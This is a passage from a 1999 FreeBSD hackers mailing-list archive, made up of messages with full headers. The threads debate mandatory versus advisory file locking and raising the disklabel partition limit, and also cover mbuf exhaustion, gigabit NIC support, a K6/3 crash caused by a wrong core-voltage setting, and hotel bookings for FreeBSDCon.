yet, implement file ACLs so I can grant read/write to everyone BUT you. Of course, I can do that now by creating goup "nothoek" right? ;^) -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC http://softweyr.com/ wes@softweyr.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 23:19:20 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (Postfix) with ESMTP id 5607C15A3D; Tue, 24 Aug 1999 23:18:57 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.9.1/8.9.0) with ESMTP id PAA29687; Wed, 25 Aug 1999 15:45:43 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.9.3/8.9.0) id PAA03209; Wed, 25 Aug 1999 15:45:41 +0930 (CST) Date: Wed, 25 Aug 1999 15:45:41 +0930 From: Greg Lehey To: hackers@FreeBSD.org Cc: cvs-committers@FreeBSD.org Subject: Re: Locking in Vinum (was: Mandatory locking?) Message-ID: <19990825154541.P83273@freebie.lemis.com> References: <199908250152.SAA16323@usr01.primenet.com>; <19990825113518.D83273.kithrup.freebsd.cvs-all@freebie.lemis.com> <199908250528.WAA16151@kithrup.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <199908250528.WAA16151@kithrup.com>; from Sean Eric Fagan on Tue, Aug 24, 1999 at 10:28:10PM -0700 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tuesday, 24 August 1999 at 22:28:10 -0700, Sean Eric Fagan wrote: > In article <19990825113518.D83273.kithrup.freebsd.cvs-all@freebie.lemis.com> you write: >> Correct. I lock a stripe at a time. > > What people need to realize is that Greg is doing this locking in user mode. > > As such, he has two real options: > > 1. Implement a vinum-specific ioctl that locks a region of a file at the > device level, or > > 2. Implement standard mandatory region locking, which damned near every > OS in existence has, and which OSes which have existed for decades > longer than unix has existed have always had. > > Now, because this _is_ (currently) a vinum-specific requirement, doing (1) is > not all that unpalatable. However, it's at the wrong level (device driver, > instead of file), and it is merely putting off the inevitable. In fact, this confusion with Vinum is more historical than anything. I started thinking "what tools are available for this as yet not clearly defined task that will run in user mode and require locking?". The obvious first question was "do we support read (i.e. mandatory) locking?". > Or does nobody wish to have working Linux and Solaris/x86 > compatibility after all? > > That reason, if nothing else, is reason to design it, so it gets done > correctly. Exactly, and that was why I started this thread. Greg -- See complete headers for address, home page and phone numbers finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 23:25:14 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (Postfix) with ESMTP id 869D314C81 for ; Tue, 24 Aug 1999 23:25:09 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.9.1/8.9.0) with ESMTP id PAA29733; Wed, 25 Aug 1999 15:52:08 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.9.3/8.9.0) id PAA03236; Wed, 25 Aug 1999 15:52:07 +0930 (CST) Date: Wed, 25 Aug 1999 15:52:07 +0930 From: Greg Lehey To: Wes Peters Cc: "Daniel C. Sobral" , Christopher Masto , FreeBSD Hackers Subject: Re: Mandatory locking? Message-ID: <19990825155207.Q83273@freebie.lemis.com> References: <19990823231130.A16133@netmonger.net> <19990823232726.B16133@netmonger.net> <37C2B148.60FB81FA@newsguy.com> <37C3890B.7AD1E44F@softweyr.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <37C3890B.7AD1E44F@softweyr.com>; from Wes Peters on Wed, Aug 25, 1999 at 12:11:23AM -0600 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wednesday, 25 August 1999 at 0:11:23 -0600, Wes Peters wrote: > "Daniel C. Sobral" wrote: >> >> Christopher Masto wrote: >>> >>> I don't see the use for it. >> >> :-) >> >> The thing is SO obviously flawed, that I wonder how many marketoid >> drones it took to make sensible people think it is actually useful. >> :-) > > And how many programmers with nearly (or more than) two decades of UNIX > experience it takes to convince someone it really is useful. I must say, I'm really amazed at some of the opinions that have been voiced in this thread. Of course, that's all they are, and they show the origins of their owners. Any system with multiple concurrent accesses requires locking. Only UNIX uses advisory locking. It almost does the job, so nobody has tried to fix things. But that doesn't make it right. Greg -- See complete headers for address, home page and phone numbers finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 23:33:54 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from labinfo.iet.unipi.it (labinfo.iet.unipi.it [131.114.9.5]) by hub.freebsd.org (Postfix) with SMTP id 3B2CC15227 for ; Tue, 24 Aug 1999 23:33:47 -0700 (PDT) (envelope-from luigi@labinfo.iet.unipi.it) Received: from localhost (luigi@localhost) by labinfo.iet.unipi.it (8.6.5/8.6.5) id FAA00764; Wed, 25 Aug 1999 05:51:11 +0200 From: Luigi Rizzo Message-Id: <199908250351.FAA00764@labinfo.iet.unipi.it> Subject: Re: Possibility of increasing default MAXPARTITIONS from 8 to 16 To: dillon@apollo.backplane.com (Matthew Dillon) Date: Wed, 25 Aug 1999 05:51:11 +0200 (MET DST) Cc: freebsd-hackers@FreeBSD.ORG In-Reply-To: <199908242237.PAA18980@apollo.backplane.com> from "Matthew Dillon" at Aug 24, 99 03:37:33 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 1130 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > What I would really like to do is to increase the number of > partitions allowed in a disklabel. I really dislike having to > mess with fdisk. > > The system defaults to 8. sys/diskslice.h seems to imply that > you can compile up a kernel with a higher number. it looks you also have to change at sys/sys/disklabel.h and update the struct disklabel ? But you are right that the struct looks easy to change and we can go up to 22 partitions and remain within 512 bytes (seems there are 16 bytes/partition in struct disklabel, whereas struct diskslice seems not to pose problems. only thing to look at could be the boot blocks to be sure that they don't limit to read only the first 276 bytes (or if they do, you can't boot after the 8th partition). > The structure appears to be backwards compatible. > > The question I am putting to the group is whether it is "time" for us, > with today's large disks, to increase the system-compiled default > from 8 to 16 partitions. Instead of a-h we would have a-p i guess one should try to increase to the max that fits a sector i.e 22 luigi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 23:42:41 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from labinfo.iet.unipi.it (labinfo.iet.unipi.it [131.114.9.5]) by hub.freebsd.org (Postfix) with SMTP id 069D614BD2 for ; Tue, 24 Aug 1999 23:42:38 -0700 (PDT) (envelope-from luigi@labinfo.iet.unipi.it) Received: from localhost (luigi@localhost) by labinfo.iet.unipi.it (8.6.5/8.6.5) id GAA00831; Wed, 25 Aug 1999 06:02:18 +0200 From: Luigi Rizzo Message-Id: <199908250402.GAA00831@labinfo.iet.unipi.it> Subject: Re: mbufs eaten up - when pinging To: kuku@gilberto.physik.RWTH-Aachen.DE (Christoph Kukulies) Date: Wed, 25 Aug 1999 06:02:17 +0200 (MET DST) Cc: kuku@gilberto.physik.RWTH-Aachen.DE, hackers@FreeBSD.ORG In-Reply-To: <19990825073237.C56156@gil.physik.rwth-aachen.de> from "Christoph Kukulies" at Aug 25, 99 07:32:18 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 448 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > 'no buffer space' often comes when the output IFQ is full, which is > > between 20 and 50 buffers. Are you sure you are seeing more than those > > mbufs in use ? > > It occurs when about 105/128 mbufs (94%) are used. ok, that's reasonable, with 50 bufs in the output queue and perhaps a matching number in the socket layer... but 128 bufs is really a very low number. I'd really go up to 512 unless you only have 4MB of RAM! cheers luigi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 23:54:12 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.xmission.com (mail.xmission.com [198.60.22.22]) by hub.freebsd.org (Postfix) with ESMTP id E8C4714CEC for ; Tue, 24 Aug 1999 23:54:07 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from [204.68.178.39] (helo=softweyr.com) by mail.xmission.com with esmtp (Exim 2.12 #1) id 11JWvC-0001Fu-00; Wed, 25 Aug 1999 00:52:35 -0600 Message-ID: <37C392B1.1D4D45D9@softweyr.com> Date: Wed, 25 Aug 1999 00:52:33 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.5 [en] (X11; U; FreeBSD 3.1-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: David Miller Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Gigabit ethernet support? References: <199908240628.XAA04845@gilliam.users.flyingcroc.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG David Miller wrote: > > Any supported cards in 3.2.x? The HCL pages don't list any:( man ti(4). My Netgear GA620s work just fine. Many thanks to Bill Paul, as usual. This issue was addressed on the -network mailing list LAST week. Apparently you didn't search the archives very hard. ;^) -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC http://softweyr.com/ wes@softweyr.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 0:49: 5 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from tversu.ru (mail.tversu.ru [62.76.80.2]) by hub.freebsd.org (Postfix) with ESMTP id EC6A815232 for ; Wed, 25 Aug 1999 00:48:49 -0700 (PDT) (envelope-from vadim@tversu.ru) Received: from gala.tversu.ru (postfix@gala.tversu.ru [62.76.80.10]) by tversu.ru (8.8.8/8.8.8) with ESMTP id LAA20286; Wed, 25 Aug 1999 11:48:06 +0400 (MSD) Received: by gala.tversu.ru (Postfix, from userid 100) id 44775701B; Wed, 25 Aug 1999 11:47:44 +0400 (MSD) Date: Wed, 25 Aug 1999 11:47:44 +0400 From: Vadim Kolontsov To: "John W. DeBoskey" Cc: freebsd-hackers@freebsd.org Subject: Re: seek to negative offset? Message-ID: <19990825114744.A20004@tversu.ru> References: <199908242025.QAA24724@bb01f39.unx.sas.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <199908242025.QAA24724@bb01f39.unx.sas.com>; from John W. DeBoskey on Tue, Aug 24, 1999 at 04:25:26PM -0400 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Aug 24, 1999 at 04:25:26PM -0400, John W. DeBoskey wrote: > The subject says it all... We have some code that scans files > backwards... I've asked about it a year ago, see http://docs.freebsd.org/cgi/getmsg.cgi?fetch=487426+0+archive/1998/freebsd-hackers/19980726.freebsd-hackers but there were no answers :( Regards, V. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 0:57:32 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id C306315810 for ; Wed, 25 Aug 1999 00:57:30 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id BAA77873; Wed, 25 Aug 1999 01:56:43 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id BAA53916; Wed, 25 Aug 1999 01:57:42 -0600 (MDT) Message-Id: <199908250757.BAA53916@harmony.village.org> To: Bill Fumerola Subject: Re: [freebsdcon] radisson reservation Cc: Jun-ichiro itojun Hagino , hackers@FreeBSD.ORG In-reply-to: Your message of "Mon, 23 Aug 1999 13:05:11 EDT." References: Date: Wed, 25 Aug 1999 01:57:42 -0600 From: Warner Losh Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message Bill Fumerola writes: : It took me 10 minutes of explanation for the reservation clerk to finally : figure out just what the hell I was talking about. WC CDROM did the : trick. My clerk just started reading down the names. When I heard walnut creek cdrom, I said "ding ding ding ding ding ding. We have a winner." and there was a pause and then I got the rate :-) Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 1: 9:25 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from labinfo.iet.unipi.it (labinfo.iet.unipi.it [131.114.9.5]) by hub.freebsd.org (Postfix) with SMTP id 53E671584E for ; Wed, 25 Aug 1999 01:09:21 -0700 (PDT) (envelope-from luigi@labinfo.iet.unipi.it) Received: from localhost (luigi@localhost) by labinfo.iet.unipi.it (8.6.5/8.6.5) id HAA01824; Wed, 25 Aug 1999 07:28:20 +0200 From: Luigi Rizzo Message-Id: <199908250528.HAA01824@labinfo.iet.unipi.it> Subject: Re: [freebsdcon] radisson reservation To: imp@village.org (Warner Losh) Date: Wed, 25 Aug 1999 07:28:19 +0200 (MET DST) Cc: billf@jade.chc-chimes.com, itojun@itojun.org, hackers@FreeBSD.ORG In-Reply-To: <199908250757.BAA53916@harmony.village.org> from "Warner Losh" at Aug 25, 99 01:57:23 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 212 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > My clerk just started reading down the names. When I heard walnut you should have asked him to read both names and rates, complete the list and then "oh yes, mine was the 19.95 per night..." cheers luigi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 1:31: 7 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from vax1.baker.ie (VAX1.baker.IE [194.125.50.91]) by hub.freebsd.org (Postfix) with SMTP id ED99A1584E for ; Wed, 25 Aug 1999 01:30:58 -0700 (PDT) (envelope-from cillian@baker.ie) Received: from baker.ie ([194.125.50.55]) by vax1.baker.ie with ESMTP for hackers@freebsd.org; Wed, 25 Aug 1999 9:35:18 +0100 Message-ID: <37C3A63F.959C5A95@baker.ie> Date: Wed, 25 Aug 1999 09:15:59 +0100 From: Cillian Sharkey X-Mailer: Mozilla 4.6 [en] (Win95; U) X-Accept-Language: en MIME-Version: 1.0 To: hackers@freebsd.org Subject: Re: proposed change for /etc/periodic/* scripts References: <37C2EFE6.5613A1B6@sullen.demon.co.uk> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Ok, I'm going to start doing a bit of work on this so as to enable the periodic output to be customised I'll post my changes later for ppl that maybe interested (these changes will still be useful for myself anyway) I'll see if I can put all your suggestions in, thanks for the feedback. Cillian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 1:38:43 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from antioche.lip6.fr (antioche.lip6.fr [132.227.74.11]) by hub.freebsd.org (Postfix) with ESMTP id ABCFB1597A for ; Wed, 25 Aug 1999 01:38:34 -0700 (PDT) (envelope-from bouyer@antioche.lip6.fr) Received: from antifer.ipv6.lip6.fr (antifer.ipv6.lip6.fr [132.227.72.132]) by antioche.lip6.fr (8.9.3/8.9.3) with ESMTP id KAA10876; Wed, 25 Aug 1999 10:36:56 +0200 (MEST) Received: (bouyer@localhost) by antifer.ipv6.lip6.fr (8.8.8/8.6.4) id KAA03151; Wed, 25 Aug 1999 10:36:55 +0200 (MEST) Date: Wed, 25 Aug 1999 10:36:55 +0200 From: Manuel Bouyer To: "Neil A. Carson" Cc: Wolfgang Solfrank , freebsd-hackers@FreeBSD.ORG, tech-userlevel@netbsd.org, tech-kern@netbsd.org Subject: Re: Need some advice regarding portable user IDs Message-ID: <19990825103655.C3122@antioche.lip6.fr> References: <19990824150652.A4107@antioche.lip6.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6us In-Reply-To: ; from Neil A. Carson on Tue, Aug 24, 1999 at 07:49:02PM +0100 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG [ tech-userlevel@netbsd.org removed from cc:, it's not a userlevel issue any more ] On Tue, Aug 24, 1999 at 07:49:02PM +0100, Neil A. Carson wrote: > ext2fs in Linux already has some support for mount downgrading or forcable > unomunting (maybe) in the case of an FS error. For something like a > floppy, it ought to be possible to force-unmount the disc in the event of > a metadata error. And, to my experience this is not a good feature (but I think it's an implementation issue). A HD error left one of my machine with a root filesystem in an unusable state. I had to boot a netbsd floppy to recover data from other partitions (which didn't have errors :) -- Manuel Bouyer, LIP6, Universite Paris VI. Manuel.Bouyer@lip6.fr -- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 2: 3: 0 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from forty-two.egroups.net (adsl-63-193-211-127.dsl.snfc21.pacbell.net [63.193.211.127]) by hub.freebsd.org (Postfix) with ESMTP id BCABC15A30 for ; Wed, 25 Aug 1999 02:02:43 -0700 (PDT) (envelope-from gsutter@forty-two.egroups.net) Received: (from gsutter@localhost) by forty-two.egroups.net (8.9.3/8.9.2) id CAA27992; Wed, 25 Aug 1999 02:01:09 -0700 (PDT) (envelope-from gsutter) Date: Wed, 25 Aug 1999 02:01:08 -0700 From: Gregory Sutter To: John Plevyak Cc: Matthew Dillon , freebsd-hackers@FreeBSD.ORG Subject: Re: K6/3 on 3.2-STABLE - PROBLEM SOLVED Message-ID: <19990825020108.B20512@forty-two.egroups.net> References: <19990824132943.B11107@proxydev.inktomi.com> <199908242133.OAA18621@apollo.backplane.com> <19990824154432.A21013@proxydev.inktomi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <19990824154432.A21013@proxydev.inktomi.com>; from John Plevyak on Tue, Aug 24, 1999 at 03:44:32PM -0700 Organization: Zer0 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Aug 24, 1999 at 03:44:32PM -0700, John Plevyak wrote: > On Tue, Aug 24, 1999 at 02:33:48PM -0700, Matthew Dillon wrote: > > :I am experiencing reproducible crashes with FreeBSD (3.2-STABLE) on > > :a K6/3-450 running on an ASUS P5S-VM motherboard. The problem is highly > > :repeatable (happens about 1/4 of the way through compiling the kernel) > > :and goes away if a K6/2-450 is substituted for the K6/3-450 with > > :all other things held equal. > > > > Are you overclocking your K6/3-450? Even if not, try running it > > at a slower clock rate. > > > > If reducing the clock fixes the problem, you might have a bad > > cpu or you might have a grey-market cpu that was re-marked up > > for a higher clock speed then it can actually handle. > > > After rechecking all the jumpers it turns out that the supplier > had set the core voltage to 2.2V instead of 2.4V! Interesting that the error was reproducible, if this was the cause of it. The problem never varied from that exact point? I'd like to say that I find that a testament to the precision of modern computer hardware, but I'm still having trouble believing that the incorrect voltage setting caused a specific, always-reproducible problem. Greg -- Gregory S. Sutter Heisenberg might have been here. mailto:gsutter@pobox.com http://www.pobox.com/~gsutter/ PGP DSS public key 0x40AE3052 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 3: 8:46 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp2.vnet.net (smtp2.vnet.net [166.82.1.32]) by hub.freebsd.org (Postfix) with ESMTP id 59A78152EF for ; Wed, 25 Aug 1999 03:08:43 -0700 (PDT) (envelope-from rivers@dignus.com) Received: from dignus.com (ponds.vnet.net [166.82.177.48]) by smtp2.vnet.net (8.9.1a/8.9.1) with ESMTP id GAA01282; Wed, 25 Aug 1999 06:05:14 -0400 (EDT) Received: from lakes.dignus.com (lakes.dignus.com [10.0.0.3]) by dignus.com (8.9.2/8.8.5) with ESMTP id GAA23574; Wed, 25 Aug 1999 06:05:13 -0400 (EDT) Received: (from rivers@localhost) by lakes.dignus.com (8.9.2/8.6.9) id GAA95394; Wed, 25 Aug 1999 06:05:11 -0400 (EDT) Date: Wed, 25 Aug 1999 06:05:11 -0400 (EDT) From: Thomas David Rivers Message-Id: <199908251005.GAA95394@lakes.dignus.com> To: bee@wipinfo.soft.net, hackers@FreeBSD.ORG Subject: RE: Mandatory locking? In-Reply-To: <000301beeea6$1ea898a0$88291fac@wipro.tcpn.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > All the files under Tandem's NSK has mandatory locking. The file cannot be > opened if another process has it opened. some thing like > > * if the file is opened for reading, any one can open it for > reading but opening for writing gives error > * if the file is open for writing, it can't be opened for > read/write > * if the process holding the file is killed, the lock is gone > * it is possible to get the pid of the process(es) which has > a given file open (like which process has file "xyz" open? > kind of query). btw, is there any way to get this info now in FBSD? This sounds interesting... But - aren't there NFS issues? I mean, in stateless access to a file - how do you know if the process holding the file is killed if it's remote? Just curious... - Dave Rivers - To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 3:44:10 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from not.demophon.com (ns.demophon.com [193.65.70.13]) by hub.freebsd.org (Postfix) with ESMTP id 875CA15879 for ; Wed, 25 Aug 1999 03:44:06 -0700 (PDT) (envelope-from will@not.demophon.com) Received: (from will@localhost) by not.demophon.com (8.9.3/8.8.7) id NAA59665; Wed, 25 Aug 1999 13:42:17 +0300 (EEST) (envelope-from will) To: wes@softweyr.com (Wes Peters) Cc: hackers@freebsd.org Subject: Re: Mandatory locking? References: <19990823231130.A16133@netmonger.net> <37C3890B.7AD1E44F@softweyr.com> From: Ville-Pertti Keinonen Date: 25 Aug 1999 13:42:16 +0300 In-Reply-To: wes@softweyr.com's message of "25 Aug 1999 09:14:26 +0300" Message-ID: <86pv0ccfau.fsf@not.demophon.com> Lines: 41 X-Mailer: Gnus v5.5/XEmacs 20.4 - "Emerald" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG wes@softweyr.com (Wes Peters) writes: > And how many programmers with nearly (or more than) two decades of UNIX > experience it takes to convince someone it really is useful. It should only take one, as long as the arguments made are not bogus. IMHO Greg made some very silly arguments (or at least used some very stupid examples) for mandatory locking and never answered my points regarding them. (The arguments of some of the ones opposing mandatory locking have been equally silly.) I *do* agree that mandatory locking *can* be useful, but the usefulness is not nearly as broad as some people seem to be implying, and advisory locking is not as useless as some claim. The most significant advantage I see with mandatory locking over advisory locking is guaranteeing atomicity for things done by programs that do use locking. This only protects the data when programs that access the same data without locking don't need locking, which generally means that they either don't need to modify the data or that there can't be multiple instances of those other programs *and* the modifications made are themselves atomic (can't be read-modify-write, or even multiple writes if consistency is required). This is a somewhat limited set of cases. If anyone can come up with a counter-example, please present it. Locking entire files, in addition to ranges, would seem to me to be of further benefit, as it would allow properly locking programs to fully protect against any single non-locking program which, like Greg's cat example, would presumably be run interactively and thus would require explicit stupidity to create additional races. Locking entire files is also the only way to ensure that non-locking programs can even see the file in a consistent state. As a special case, mandatory locking could also be useful in ensuring long-term exclusive access to some set of data, but this seems like something that should be done using file permissions. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 4:53: 1 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from pak2.texar.com (pak2.texar.com [216.208.160.130]) by hub.freebsd.org (Postfix) with ESMTP id CC68A15949 for ; Wed, 25 Aug 1999 04:52:53 -0700 (PDT) (envelope-from dseg@pak2.texar.com) Received: from localhost (dseg@localhost) by pak2.texar.com (8.9.2/8.8.3) with ESMTP id KAA20213; Tue, 24 Aug 1999 10:51:48 -0400 (EDT) Date: Tue, 24 Aug 1999 10:51:48 -0400 (EDT) From: Dan Seguin To: Jun-ichiro itojun Hagino Cc: hackers@FreeBSD.ORG Subject: Re: [freebsdcon] radisson reservation In-Reply-To: <8803.935428688@coconut.itojun.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 24 Aug 1999, Jun-ichiro itojun Hagino wrote: > (I believe it got bounced due to my mistake in To: line. > sorry if you got it multiple times) > > Hello, if this mailing list is inappropriate please tell me so. > > I contacted radisson hotels for FreeBSDCon reservation with > special discount, to get the following email - they don't know > about special rate code "FreeBSDCon". What is the exact code for > reservation? Do any of you have success experience with it? > I booked a room yesterday, and got the group rate by mentioning the FreeBSDCon. Looks like they've been updated. Dan Seguin To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 6:21:54 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp11.bellglobal.com (smtp11.bellglobal.com [204.101.251.53]) by hub.freebsd.org (Postfix) with ESMTP id 0CA13151A6 for ; Wed, 25 Aug 1999 06:21:51 -0700 (PDT) (envelope-from vanderh@ecf.toronto.edu) Received: from ppp18415.on.bellglobal.com (ppp18379.on.bellglobal.com [206.172.130.59]) by smtp11.bellglobal.com (8.8.5/8.8.5) with ESMTP id JAA08931; Wed, 25 Aug 1999 09:25:20 -0400 (EDT) Received: (from tim@localhost) by ppp18415.on.bellglobal.com (8.9.3/8.9.1) id JAA19140; Wed, 25 Aug 1999 09:21:44 -0400 (EDT) (envelope-from tim) Date: Wed, 25 Aug 1999 09:21:44 -0400 From: Tim Vanderhoek To: Wes Peters Cc: FreeBSD Hackers Subject: Re: Mandatory locking? Message-ID: <19990825092143.C18970@ppp18415.on.bellglobal.com> References: <199908232012.WAA78393@gratis.grondar.za> <19990823213857.B99022@ppp18344.on.bellglobal.com> <37C2AB77.52678981@softweyr.com> <19990824175154.A8869@ppp18415.on.bellglobal.com> <37C389FC.3B3237CF@softweyr.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95i In-Reply-To: <37C389FC.3B3237CF@softweyr.com>; from Wes Peters on Wed, Aug 25, 1999 at 12:15:24AM -0600 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG [Cc's trimmed] On Wed, Aug 25, 1999 at 12:15:24AM -0600, Wes Peters wrote: > > > > > > How 'bout "anyone who can kill the process holding the lock?" > > > > + file owner ( + root ). > > Which processes can't root kill? Zombies? :) > > Otherwise I would be able to lock ~wes/FreeBSDmarkers and you wouldn't > > be able to do anything about it until either notifying me or notifying > > root about the process I accidentally left hanging. > > Hey, I'm the one who gave you write access to it. If I didn't want you > write-locking it, I wouldn't give you write access, now wood eye? Yes, but I wrote a program that knows when I move between here and Toronto. That program automatically updates ~wes/FreeBSDmarkers. Unfortunately, I left a small bug in that program (it doesn't unlock and it doesn't end itself). To make matters worse, since this was the iteration where I move to Toronto, I probably won't be reading mail for a couple days (or more). You'll have to try and contact root (or just crash the machine). Fortunately for you, root@FreeBSD.org is fairly responsive... :) But in the meantime, everyone else, including you, is locked out of that file......which is pretty bad since my buggy program had another bug I forgot to mention: it accidentally removed all entries from the file except mine. I hope you don't use that file for anything important..... Gosh, and I thought I was being smart by using mandatory locks so that your file would get badly damaged it someone else tried modifying it while my program also modified it. > Or better yet, implement file ACLs so I can grant read/write to everyone BUT > you. Of course, I can do that now by creating goup "nothoek" right? ;^) Well, that would work, too. :-) -- This is my .signature which gets appended to the end of my messages. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Aug 25 6:37:34 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from beelzebubba.sysabend.org (beelzebubba.sysabend.org [209.201.74.6]) by hub.freebsd.org (Postfix) with ESMTP id 817FE159BA for ; Wed, 25 Aug 1999 06:37:28 -0700 (PDT) (envelope-from ragnar@sysabend.org) Received: by beelzebubba.sysabend.org (Postfix, from userid 1004) id 9835141D5; Wed, 25 Aug 1999 09:37:31 -0400 (EDT) Received: from localhost (localhost [127.0.0.1]) by beelzebubba.sysabend.org 